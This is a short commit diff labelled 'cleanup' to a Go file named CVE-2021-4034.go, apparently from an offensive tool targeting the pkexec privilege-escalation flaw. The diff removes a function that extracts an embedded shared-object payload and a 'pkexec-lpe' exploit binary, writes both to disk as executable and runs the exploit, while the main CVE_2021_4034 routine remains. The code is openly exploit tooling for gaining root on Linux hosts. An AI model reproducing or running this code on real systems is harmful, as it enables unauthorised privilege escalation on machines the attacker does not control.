cleanup

CVE-2021-4034.go

@@ -103,37 +103,3 @@ func CVE_2021_4034() (err error) {
 
 	return fmt.Errorf("execve: %v", err)
 }
-
-// extract exploit binary and execute
-func blasty_vs_pkexec() (err error) {
-	// prepare payload.so
-	data, err := ExtractFileFromString(so_data)
-	if err != nil {
-		return
-	}
-	// write payload.so
-	if len(data) == 0 {
-		return fmt.Errorf("Failed to decompress payload.so")
-	}
-	err = ioutil.WriteFile("payload.so", data, 0777)
-	if err != nil {
-		return fmt.Errorf("write payload.so: %v", err)
-	}
-
-	// just run blasty's exploit
-	data, err = ExtractFileFromString(exp_data)
-	if err != nil {
-		return fmt.Errorf("Extract exp_data: %v", err)
-	}
-	err = ioutil.WriteFile("pkexec-lpe", data, 0777)
-	if err != nil {
-		return fmt.Errorf("write pkexec-lpe: %v", err)
-	}
-	cmd := exec.Command("./pkexec-lpe")
-	out, err := cmd.CombinedOutput()
-	if err != nil {
-		return fmt.Errorf("%s: %v", out, err)
-	}
-
-	return
-}